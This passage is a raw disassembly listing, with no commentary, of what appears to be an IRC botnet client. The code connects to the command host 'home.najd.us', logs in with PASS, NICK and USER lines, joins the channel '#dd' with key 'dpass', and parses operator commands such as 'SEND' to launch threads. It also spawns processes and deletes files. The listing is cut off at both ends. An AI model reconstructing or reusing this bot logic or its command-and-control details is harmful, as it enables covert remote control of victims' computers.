eax lea eax, [ebp+var_64] push eax lea eax, [ebp+var_3F0] push eax push ebx push 28h push esi push ebx lea eax, [ebp+var_988] push ebx push eax lea eax, [ebp+var_1E8] push eax call dword_4210EC ; CreateProcessA test eax, eax jz short loc_40C96F push 0C8h call dword_421060 ; Sleep push [ebp+var_1C] mov esi, dword_42106C call esi ; CloseHandle push [ebp+var_18] call esi ; CloseHandle call dword_43A2F8 ; WSACleanup push ebx call dword_421114 ; ExitProcess loc_40C96F: ; CODE XREF: sub_40C682+141j ; sub_40C682+2C3j cmp dword_4694B0, 2 jle short loc_40C9BB mov eax, dword_4694B4 push dword ptr [eax+4] call sub_415A5F pop ecx mov esi, eax push 0FFFFFFFFh push esi call dword_421128 ; WaitForSingleObject push esi call dword_42106C ; CloseHandle mov eax, dword_4694B4 cmp [eax+8], ebx jz short loc_40C9BB push 7D0h call dword_421060 ; Sleep mov eax, dword_4694B4 push dword ptr [eax+8] call dword_421118 ; DeleteFileA loc_40C9BB: ; CODE XREF: sub_40C682+2F4j ; sub_40C682+31Ej cmp dword_42C198, ebx jz short loc_40C9D8 cmp dword_43A468, ebx jnz short loc_40C9D8 lea eax, [ebp+var_5F4] push eax call sub_40B3AE pop ecx loc_40C9D8: ; CODE XREF: sub_40C682+33Fj ; sub_40C682+347j lea eax, [ebp+var_E4] push offset dword_433124 push eax call sub_4154E7 push ebx lea eax, [ebp+var_E4] push ebx push eax call sub_414F93 lea eax, [ebp+var_E4] push eax call sub_40B16D push 0B80h push ebx push offset dword_43E7A8 call sub_415570 call sub_415543 push 7Fh push offset aHome_najd_us ; "home.najd.us" push offset dword_468824 mov dword_46899C, ebx call sub_416D40 mov eax, dword_42C17C push 3Fh mov edi, offset dword_4688A4 push offset aDd_0 ; "#dd" push edi mov dword_468974, eax call sub_416D40 push 3Fh mov esi, offset dword_4688E4 push offset aDpass ; "dpass" push esi call sub_416D40 add esp, 48h mov dword_468978, ebx loc_40CA66: ; CODE XREF: sub_40C682+48Aj ; sub_40C682+495j ... mov [ebp+var_4], ebx loc_40CA69: ; CODE XREF: sub_40C682+43Ej cmp dword_43A480, ebx jnz short loc_40CA87 lea eax, [ebp+var_20] push ebx push eax call dword_43A2DC ; InternetGetConnectedState test eax, eax jnz short loc_40CA87 push 7530h jmp short loc_40CAB3 ; --------------------------------------------------------------------------- loc_40CA87: ; CODE XREF: sub_40C682+3EDj ; sub_40C682+3FCj push offset dword_468820 mov dword_468998, ebx call sub_40CB75 cmp eax, 2 mov [ebp+var_8], eax jz loc_40CB61 cmp dword_468998, ebx jz short loc_40CAAE dec [ebp+var_4] loc_40CAAE: ; CODE XREF: sub_40C682+427j push 0BB8h loc_40CAB3: ; CODE XREF: sub_40C682+403j call dword_421060 ; Sleep inc [ebp+var_4] cmp [ebp+var_4], 6 jl short loc_40CA69 cmp [ebp+var_8], 2 jz loc_40CB61 cmp [ebp+var_C], ebx jz short loc_40CB11 push 7Fh push offset aHome_najd_us ; "home.najd.us" push offset dword_468824 call sub_416D40 mov eax, dword_42C17C push 3Fh push offset aDd_0 ; "#dd" push edi mov dword_468974, eax call sub_416D40 push 3Fh push offset aDpass ; "dpass" push esi call sub_416D40 add esp, 24h mov [ebp+var_C], ebx jmp loc_40CA66 ; --------------------------------------------------------------------------- loc_40CB11: ; CODE XREF: sub_40C682+44Dj cmp byte_42C1DC, bl jz loc_40CA66 push 7Fh push offset byte_42C1DC push offset dword_468824 call sub_416D40 mov eax, dword_42C180 push 3Fh push offset aDd_1 ; "#dd" push edi mov dword_468974, eax call sub_416D40 push 3Fh push offset aDpass_0 ; "dpass" push esi call sub_416D40 add esp, 24h mov [ebp+var_C], 1 jmp loc_40CA66 ; --------------------------------------------------------------------------- loc_40CB61: ; CODE XREF: sub_40C682+41Bj ; sub_40C682+444j call sub_41515C loc_40CB66: ; CODE XREF: sub_40C682+AEj ; sub_40C682+BEj call dword_43A2F8 ; WSACleanup loc_40CB6C: ; CODE XREF: sub_40C682+A1j pop edi pop esi xor eax, eax pop ebx leave retn 10h sub_40C682 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CB75 proc near ; CODE XREF: sub_40C682+410p ; DATA XREF: sub_40CE55+39D7o var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_40CB9A: ; CODE XREF: sub_40CB75+E6j ; sub_40CB75+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_415570 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_43A398 ; ntohs mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40A05B test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40CCC7 push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_415570 push 0 lea eax, [ebp+var_2C] push dword_46898C push dword_42C1A4 push eax call sub_414433 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43F540 push edi push eax call sub_416D40 add esp, 28h push 6 push 1 push 2 call dword_43A418 ; socket mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43F534[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_43A340 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40CC60 push esi call dword_43A430 ; closesocket call sub_40A084 push 7D0h loc_40CC55: ; CODE XREF: sub_40CB75+146j call dword_421060 ; Sleep jmp loc_40CB9A ; --------------------------------------------------------------------------- loc_40CC60: ; CODE XREF: sub_40CB75+CDj lea eax, [ebp+var_18C] push eax push offset dword_43315C call sub_40B1E1 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_40CCDD add esp, 28h mov edi, eax push esi call dword_43A430 ; closesocket test edi, edi jz loc_40CB9A cmp edi, 1 jnz short loc_40CCBD push 0DBBA0h jmp short loc_40CC55 ; --------------------------------------------------------------------------- loc_40CCBD: ; CODE XREF: sub_40CB75+13Fj cmp edi, 2 jz short loc_40CCCB jmp loc_40CB9A ; --------------------------------------------------------------------------- loc_40CCC7: ; CODE XREF: sub_40CB75+5Aj xor eax, eax jmp short loc_40CCD7 ; --------------------------------------------------------------------------- loc_40CCCB: ; CODE XREF: sub_40CB75+14Bj push [ebp+var_34] call sub_4152AF pop ecx push 2 pop eax loc_40CCD7: ; CODE XREF: sub_40CB75+154j pop edi pop esi leave retn 4 sub_40CB75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CCDD proc near ; CODE XREF: sub_40CB75+123p var_1A10 = byte ptr -1A10h var_A10 = byte ptr -0A10h var_240 = byte ptr -240h var_1A0 = byte ptr -1A0h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A10h call sub_415D70 push ebx push esi push edi xor ebx, ebx push 2 mov [ebp+var_8], ebx lea eax, [ebp+var_1A0] pop ecx loc_40CCFB: ; CODE XREF: sub_40CCDD+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_40CCFB cmp byte_468990, bl jz short loc_40CD22 push offset byte_468990 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_412D06 add esp, 0Ch loc_40CD22: ; CODE XREF: sub_40CCDD+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_414433 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_4154E7 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_43A3E8 ; send cmp eax, 0FFFFFFFFh jnz short loc_40CD8C push [ebp+arg_0] call dword_43A430 ; closesocket push 1388h call dword_421060 ; Sleep loc_40CD85: ; CODE XREF: sub_40CCDD+D9j ; sub_40CCDD+153j xor eax, eax loc_40CD87: ; CODE XREF: sub_40CCDD+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40CD8C: ; CODE XREF: sub_40CCDD+92j ; sub_40CCDD+F8j ... mov esi, 1000h lea eax, [ebp+var_1A10] push esi push ebx push eax call sub_415570 add esp, 0Ch lea eax, [ebp+var_1A10] push ebx push esi push eax push [ebp+arg_0] call dword_43A3B0 ; recv test eax, eax jle short loc_40CD85 lea eax, [ebp+var_A10] push eax lea eax, [ebp+var_1A10] push eax call sub_409A3B pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_40CD8C lea edi, [ebp+var_A10] loc_40CDDD: ; CODE XREF: sub_40CCDD+165j push 1 pop esi loc_40CDE0: ; CODE XREF: sub_40CCDD+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_240] push eax lea eax, [ebp+var_1A0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_40CE55 add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_40CE23 push 7D0h call dword_421060 ; Sleep jmp short loc_40CDE0 ; --------------------------------------------------------------------------- loc_40CE23: ; CODE XREF: sub_40CCDD+137j cmp esi, 0FFFFFFFDh jz short loc_40CE4D cmp esi, 0FFFFFFFEh jz short loc_40CE49 cmp esi, 0FFFFFFFFh jz loc_40CD85 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_40CDDD jmp loc_40CD8C ; --------------------------------------------------------------------------- loc_40CE49: ; CODE XREF: sub_40CCDD+14Ej push 1 jmp short loc_40CE4F ; --------------------------------------------------------------------------- loc_40CE4D: ; CODE XREF: sub_40CCDD+149j push 2 loc_40CE4F: ; CODE XREF: sub_40CCDD+16Ej pop eax jmp loc_40CD87 sub_40CCDD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE55 proc near ; CODE XREF: sub_40CCDD+12Ap var_159C = byte ptr -159Ch var_119C = byte ptr -119Ch var_F9C = byte ptr -0F9Ch var_D9C = byte ptr -0D9Ch var_C9C = byte ptr -0C9Ch var_C98 = byte ptr -0C98h var_B98 = byte ptr -0B98h var_B94 = byte ptr -0B94h var_A94 = byte ptr -0A94h var_A14 = byte ptr -0A14h var_9B3 = byte ptr -9B3h var_9B2 = byte ptr -9B2h var_9B0 = byte ptr -9B0h var_9AF = byte ptr -9AFh var_9A6 = byte ptr -9A6h var_9A4 = byte ptr -9A4h var_9A2 = byte ptr -9A2h var_9A1 = byte ptr -9A1h var_914 = dword ptr -914h var_910 = byte ptr -910h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_804 = byte ptr -804h var_800 = dword ptr -800h var_7FC = byte ptr -7FCh var_7F8 = dword ptr -7F8h var_7F4 = dword ptr -7F4h var_7F0 = byte ptr -7F0h var_788 = byte ptr -788h var_77C = byte ptr -77Ch var_778 = dword ptr -778h var_774 = byte ptr -774h var_770 = byte ptr -770h var_718 = dword ptr -718h var_710 = byte ptr -710h var_704 = dword ptr -704h var_700 = byte ptr -700h var_6FC = byte ptr -6FCh var_6F8 = dword ptr -6F8h var_6F4 = byte ptr -6F4h var_6F0 = byte ptr -6F0h var_689 = byte ptr -689h var_688 = byte ptr -688h var_680 = byte ptr -680h var_678 = byte ptr -678h var_674 = byte ptr -674h var_670 = byte ptr -670h var_600 = byte ptr -600h var_5FC = dword ptr -5FCh var_5F8 = dword ptr -5F8h var_5F4 = dword ptr -5F4h var_5F0 = byte ptr -5F0h var_588 = dword ptr -588h var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_578 = dword ptr -578h var_574 = dword ptr -574h var_570 = dword ptr -570h var_56C = dword ptr -56Ch var_568 = dword ptr -568h var_564 = byte ptr -564h var_548 = byte ptr -548h var_4F8 = dword ptr -4F8h var_4F4 = byte ptr -4F4h var_4F0 = dword ptr -4F0h var_4EC = byte ptr -4ECh var_4E0 = dword ptr -4E0h var_4DC = dword ptr -4DCh var_4D8 = dword ptr -4D8h var_4D4 = byte ptr -4D4h var_4AC = byte ptr -4ACh var_48C = dword ptr -48Ch var_474 = byte ptr -474h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = dword ptr -45Ch var_458 = dword ptr -458h var_454 = dword ptr -454h var_450 = dword ptr -450h var_44C = dword ptr -44Ch var_448 = byte ptr -448h var_444 = byte ptr -444h var_430 = byte ptr -430h var_420 = byte ptr -420h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h var_3F8 = dword ptr -3F8h var_3F4 = byte ptr -3F4h var_3E8 = byte ptr -3E8h var_3E4 = byte ptr -3E4h var_3C4 = byte ptr -3C4h var_3A0 = byte ptr -3A0h var_384 = byte ptr -384h var_374 = byte ptr -374h var_320 = dword ptr -320h var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_304 = dword ptr -304h var_300 = dword ptr -300h var_2FC = dword ptr -2FCh var_2F8 = dword ptr -2F8h var_2F4 = dword ptr -2F4h var_2F0 = dword ptr -2F0h var_2EC = dword ptr -2ECh var_2E8 = dword ptr -2E8h var_2E4 = byte ptr -2E4h var_2D8 = word ptr -2D8h var_2D6 = word ptr -2D6h var_2D4 = dword ptr -2D4h var_2C8 = byte ptr -2C8h var_C8 = dword ptr -0C8h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = byte ptr -0A4h var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_54 = byte ptr -54h var_18 = byte ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 159Ch call sub_415D70 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C8] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_98], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_C8], ebx call sub_415570 push 1Bh lea eax, [ebp+var_564] push [ebp+arg_10] push eax call sub_416D40 add esp, 18h cmp [ebp+arg_0], ebx jz loc_40D219 push esi lea eax, [ebp+var_F9C] push ebx push eax call sub_415570 dec esi lea eax, [ebp+var_F9C] push esi push [ebp+arg_0] push eax call sub_416D40 lea eax, [ebp+var_F9C] push offset asc_436588 ; " :" push eax call sub_415AC0 mov [ebp+var_C], eax lea eax, [ebp+var_F9C] push esi push eax lea eax, [ebp+var_119C] push eax call sub_416D40 mov esi, offset asc_426A00 ; " " lea eax, [ebp+var_119C] push esi push eax call sub_416C98 add esp, 34h mov [ebp+var_94], eax lea edi, [ebp+var_90] mov [ebp+var_A8], 1Fh loc_40CF28: ; CODE XREF: sub_40CE55+E7j push esi push ebx call sub_416C98 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_40CF28 mov esi, [ebp+var_94] cmp esi, ebx jz loc_40D219 cmp [ebp+var_90], ebx jz loc_40D219 push 100h lea eax, [ebp+var_A14] push ebx push eax call sub_415570 add esp, 0Ch lea ecx, [ebp+var_18] push 1Fh pop edx push 1 pop edi loc_40CF76: ; CODE XREF: sub_40CE55+153j mov eax, [ecx] cmp eax, ebx jz short loc_40CFA2 cmp byte ptr [eax], 2Dh jnz short loc_40CFAA cmp [eax+2], bl jnz short loc_40CFAA movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_A14], 1 mov esi, [ebp+var_94] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_40CFA2: ; CODE XREF: sub_40CE55+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_40CF76 loc_40CFAA: ; CODE XREF: sub_40CE55+12Aj ; sub_40CE55+12Fj cmp [ebp+var_9A1], bl jz short loc_40CFB5 mov [ebp+var_8], edi loc_40CFB5: ; CODE XREF: sub_40CE55+15Bj cmp [ebp+var_9A6], bl jz short loc_40CFC3 mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_40CFC3: ; CODE XREF: sub_40CE55+166j cmp byte ptr [esi], 0Ah jz short loc_40CFFD push 7Fh lea eax, [ebp+var_A94] push esi push eax call sub_416D40 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_416D40 lea eax, [ebp+var_C4] push offset dword_42F3E4 push eax call sub_416C98 add esp, 20h loc_40CFFD: ; CODE XREF: sub_40CE55+171j push esi push offset aPing ; "PING" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40D04E push [ebp+var_90] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_412D06 mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_40D0F2 push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_412D06 add esp, 10h jmp loc_40D0F2 ; --------------------------------------------------------------------------- loc_40D04E: ; CODE XREF: sub_40CE55+1B7j mov esi, [ebp+var_90] push esi push offset a001 ; "001" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412B1A push esi push offset a005 ; "005" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412B1A push esi push offset a302 ; "302" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40D0B9 push offset a@_6 ; "@" push [ebp+var_88] call sub_415AC0 pop ecx cmp eax, ebx pop ecx jz short loc_40D0F2 inc eax push 9Fh push eax push [ebp+arg_1C] call sub_416D40 add esp, 0Ch jmp short loc_40D0F2 ; --------------------------------------------------------------------------- loc_40D0B9: ; CODE XREF: sub_40CE55+238j push esi push offset a433 ; "433" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40D0F9 push ebx push dword_46898C push dword_42C1A4 push [ebp+arg_10] call sub_414433 push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_412D06 add esp, 1Ch loc_40D0F2: ; CODE XREF: sub_40CE55+1D8j ; sub_40CE55+1F4j ... mov eax, edi jmp loc_40D21C ; --------------------------------------------------------------------------- loc_40D0F9: ; CODE XREF: sub_40CE55+273j mov esi, [ebp+arg_18] mov [ebp+var_A8], 2 mov edi, 80h loc_40D10B: ; CODE XREF: sub_40CE55+2DBj lea eax, [ebp+var_A94] push eax push esi call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40D128 mov [ebp+var_98], 1 loc_40D128: ; CODE XREF: sub_40CE55+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_40D10B mov esi, [ebp+var_90] push esi push offset aKick ; "KICK" call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40D221 mov esi, [ebp+arg_18] mov [ebp+arg_24], 2 loc_40D157: ; CODE XREF: sub_40CE55+38Fj cmp [esi], bl jz loc_40D1DF push 7Fh lea eax, [ebp+var_A94] push esi push eax call sub_416D40 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_40D1DF cmp [ebp+var_88], ebx jz short loc_40D1DF push [ebp+var_88] lea eax, [ebp+var_C4] push eax call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40D1DF lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_2C8] push offset dword_436514 push eax call sub_4154E7 lea eax, [ebp+var_2C8] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_412D06 lea eax, [ebp+var_2C8] push eax call sub_40B16D add esp, 20h loc_40D1DF: ; CODE XREF: sub_40CE55+304j ; sub_40CE55+324j ... add esi, edi dec [ebp+arg_24] jnz loc_40D157 push [ebp+var_88] push [ebp+arg_10] call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40D219 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_40D20E: ; CODE XREF: sub_40CE55+615j ; sub_40CE55+96Cj push [ebp+arg_4] call sub_412D06 loc_40D216: ; CODE XREF: sub_40CE55+51FEj ; sub_40CE55+521Bj ... add esp, 10h loc_40D219: ; CODE XREF: sub_40CE55+5Bj ; sub_40CE55+F1j ... push 1 loc_40D21B: ; CODE XREF: sub_40CE55+5745j pop eax loc_40D21C: ; CODE XREF: sub_40CE55+29Fj ; sub_40CE55+2164j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40D221: ; CODE XREF: sub_40CE55+2F2j push esi push offset aNick ; "NICK" call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40D377 mov eax, [ebp+var_8C] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 2 mov [ebp+arg_24], eax loc_40D24A: ; CODE XREF: sub_40CE55+447j lea eax, [ebp+var_A94] push eax push esi call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40D297 lea eax, [ebp+var_A94] push 21h push eax call sub_417080 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_40D297 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_415C00 push [ebp+arg_1C] push edi call sub_415C10 add esp, 10h mov edi, 80h loc_40D297: ; CODE XREF: sub_40CE55+406j ; sub_40CE55+41Dj add esi, edi dec [ebp+arg_0] jnz short loc_40D24A lea eax, [ebp+var_C4] test eax, eax jz loc_40D219 cmp [ebp+arg_24], ebx jz loc_40D219 push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40D2DF push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_416D40 add esp, 0Ch jmp loc_40D219 ; --------------------------------------------------------------------------- loc_40D2DF: ; CODE XREF: sub_40CE55+473j mov edi, [ebp+arg_18] xor esi, esi loc_40D2E4: ; CODE XREF: sub_40CE55+4B0j cmp [edi], bl jz short loc_40D2FB lea eax, [ebp+var_A94] push eax push edi call sub_415910 pop ecx test eax, eax pop ecx jz short loc_40D30C loc_40D2FB: ; CODE XREF: sub_40CE55+491j inc esi add edi, 80h cmp esi, 2 jl short loc_40D2E4 jmp loc_40D219 ; --------------------------------------------------------------------------- loc_40D30C: ; CODE XREF: sub_40CE55+4A4j lea eax, [ebp+var_A94] push 21h push eax call sub_417080 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_40D219 push eax call sub_415CF0 push [ebp+arg_24] mov edi, eax call sub_415CF0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_40D219 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS_1 ; ":%s%s" push esi call sub_4154E7 push ebx lea eax, [ebp+var_4AC] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_412D4C add esp, 24h jmp loc_40D219 ; --------------------------------------------------------------------------- loc_40D377: ; CODE XREF: sub_40CE55+3DBj push esi push offset aPart ; "PART" call sub_415910 pop ecx test eax, eax pop ecx jz short loc_40D399 push esi push offset aQuit ; "QUIT" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40D3C0 loc_40D399: ; CODE XREF: sub_40CE55+531j mov edi, [ebp+arg_18] xor esi, esi loc_40D39E: ; CODE XREF: sub_40CE55+569j cmp [edi], bl jz short loc_40D3B4 push [ebp+var_94] push edi call sub_415910 pop ecx test eax, eax pop ecx jz short loc_40D40E loc_40D3B4: ; CODE XREF: sub_40CE55+54Bj inc esi add edi, 80h cmp esi, 2 jl short loc_40D39E loc_40D3C0: ; CODE XREF: sub_40CE55+542j push [ebp+var_90] push offset a353 ; "353" call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40D46F push [ebp+var_84] push [ebp+arg_8] call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40D3F7 mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40D3F7: ; CODE XREF: sub_40CE55+597j push [ebp+var_84] push offset dword_4364B4 loc_40D402: ; CODE XREF: sub_40CE55+5577j ; sub_40CE55+58F0j ... call sub_40B1E1 pop ecx loc_40D408: ; CODE XREF: sub_40CE55+5A05j pop ecx jmp loc_40D219 ; --------------------------------------------------------------------------- loc_40D40E: ; CODE XREF: sub_40CE55+55Dj mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C8] push offset dword_436480 push eax call sub_4154E7 lea eax, [ebp+var_2C8] push eax call sub_40B16D push [ebp+var_90] push offset aPart ; "PART" call sub_415910 add esp, 18h test eax, eax jnz loc_40D219 lea eax, [ebp+var_2C8] push eax mov eax, [ebp+var_94] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_40D20E ; --------------------------------------------------------------------------- loc_40D46F: ; CODE XREF: sub_40CE55+57Fj push [ebp+var_90] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_415910 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_40D4C3 push [ebp+var_90] push edi call sub_415910 pop ecx test eax, eax pop ecx jz short loc_40D4C3 push [ebp+var_90] push offset dword_43646C call sub_415910 pop ecx test eax, eax pop ecx jnz loc_41298E cmp dword_42C194, ebx jz loc_41298E loc_40D4C3: ; CODE XREF: sub_40CE55+634j ; sub_40CE55+646j push [ebp+var_90] push esi call sub_415910 pop ecx test eax, eax pop ecx jz loc_40D649 push [ebp+var_90] push edi call sub_415910 pop ecx test eax, eax pop ecx jz loc_40D649 mov eax, [ebp+var_88] inc [ebp+var_84] push 4 mov [ebp+var_8C], eax pop esi mov [ebp+var_AC], esi loc_40D50A: ; CODE XREF: sub_40CE55+8B0j ; sub_40CE55+941j ... shl esi, 2 mov eax, [ebp+esi+var_94] lea edi, [ebp+esi+var_94] push eax push offset dword_436464 mov [ebp+arg_8], eax call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40D943 push [ebp+esi+var_90] push offset aSend_0 ; "SEND" call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40D801 cmp [ebp+var_98], ebx jz loc_40D7D7 push [ebp+esi+var_8C] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_6FC] push edi push eax call sub_4154E7 push [ebp+esi+var_88] lea eax, [ebp+var_710] push edi push eax call sub_4154E7 push [ebp+esi+var_84] call sub_415A5F mov [ebp+var_578], eax mov eax, [ebp+arg_4] mov [ebp+var_718], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_5F8] push eax call sub_416D40 mov eax, [ebp+var_4] mov [ebp+var_570], eax mov eax, [ebp+var_8] mov [ebp+var_56C], eax lea eax, [ebp+var_5F8] push eax lea eax, [ebp+var_6FC] push eax lea eax, [ebp+var_2C8] push offset dword_43641C push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 12h push eax call sub_414F93 add esp, 44h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_718] push ebx push eax push offset sub_40BAB4 push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz loc_40D7C6 loc_40D633: ; CODE XREF: sub_40CE55+7F2j cmp [ebp+var_568], ebx jnz loc_40D7F9 push 32h call dword_421060 ; Sleep jmp short loc_40D633 ; --------------------------------------------------------------------------- loc_40D649: ; CODE XREF: sub_40CE55+67Ej ; sub_40CE55+694j push [ebp+var_90] push edi call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40D662 mov [ebp+var_4], 1 loc_40D662: ; CODE XREF: sub_40CE55+804j cmp [ebp+var_8C], ebx jz loc_40D219 push (offset loc_4263DB+1) push [ebp+var_8C] call sub_415AC0 pop ecx test eax, eax pop ecx jz short loc_40D689 cmp [ebp+var_4], ebx jz short loc_40D695 loc_40D689: ; CODE XREF: sub_40CE55+82Dj lea eax, [ebp+var_C4] mov [ebp+var_8C], eax loc_40D695: ; CODE XREF: sub_40CE55+832j cmp [ebp+var_88], ebx jz loc_40D219 inc [ebp+var_88] jz short loc_40D6E1 cmp [ebp+arg_10], ebx jz short loc_40D6E1 lea eax, [ebp+var_564] push eax call sub_415CF0 push eax lea eax, [ebp+var_564] push [ebp+var_88] push eax call sub_416ED0 mov esi, 